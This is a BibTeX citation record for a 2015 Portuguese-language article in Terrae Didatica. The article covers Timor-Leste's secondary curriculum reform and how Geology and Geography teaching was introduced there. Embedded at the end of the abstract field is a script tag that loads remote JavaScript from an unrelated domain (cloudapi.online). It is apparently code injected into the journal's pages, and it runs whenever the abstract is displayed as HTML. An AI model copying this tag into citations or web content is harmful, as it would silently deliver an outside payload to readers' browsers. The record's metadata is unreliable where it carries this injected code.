@article{Bonito_Rebelo_Morgado_Gomes_Coelho_Andrade_Marques_2015, place={Campinas, SP}, title={Contributos da reforma curricular em Timor-Leste para a literacia do cidadão em ciências da terra}, volume={10}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637362}, DOI={10.20396/td.v10i3.8637362}, abstractNote={<p>No âmbito da reestruturação do currículo de Timor-Leste, o ensino secundário – com a duração de três anos – foi desenhado em dois percursos: o de Ciências e Tecnologias e o de Ciências Sociais e Humanidades. Ambos incluíam uma componente de Formação Geral. Ainda que sem tradição em Timor-Leste, o ensino Ciências da Terra foi integrado nos dois cursos, por meio, respetivamente, das disciplinas de Geologia e de Geografia. Os programas das disciplinas foram elaborados por duas equipas da Universidade de Aveiro (Portugal). Cada uma delas elaborou, também, manuais para os alunos e guias para os professores, relativos aos três anos de escolaridade. Ainda no âmbito deste processo, a Universidade de Aveiro organizou um plano de formação para futuros professores de Geologia e de Geografia em Timor-Leste, realizado in locu e em território português.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={3}, journal={Terrae Didatica}, author={Bonito, Jorge and Rebelo, Dorinda and Morgado, Margarida and Gomes, Conceição and Coelho, Celeste and Andrade, António Soares de and Marques, Luís}, year={2015}, month={jun.}, pages={436–454} }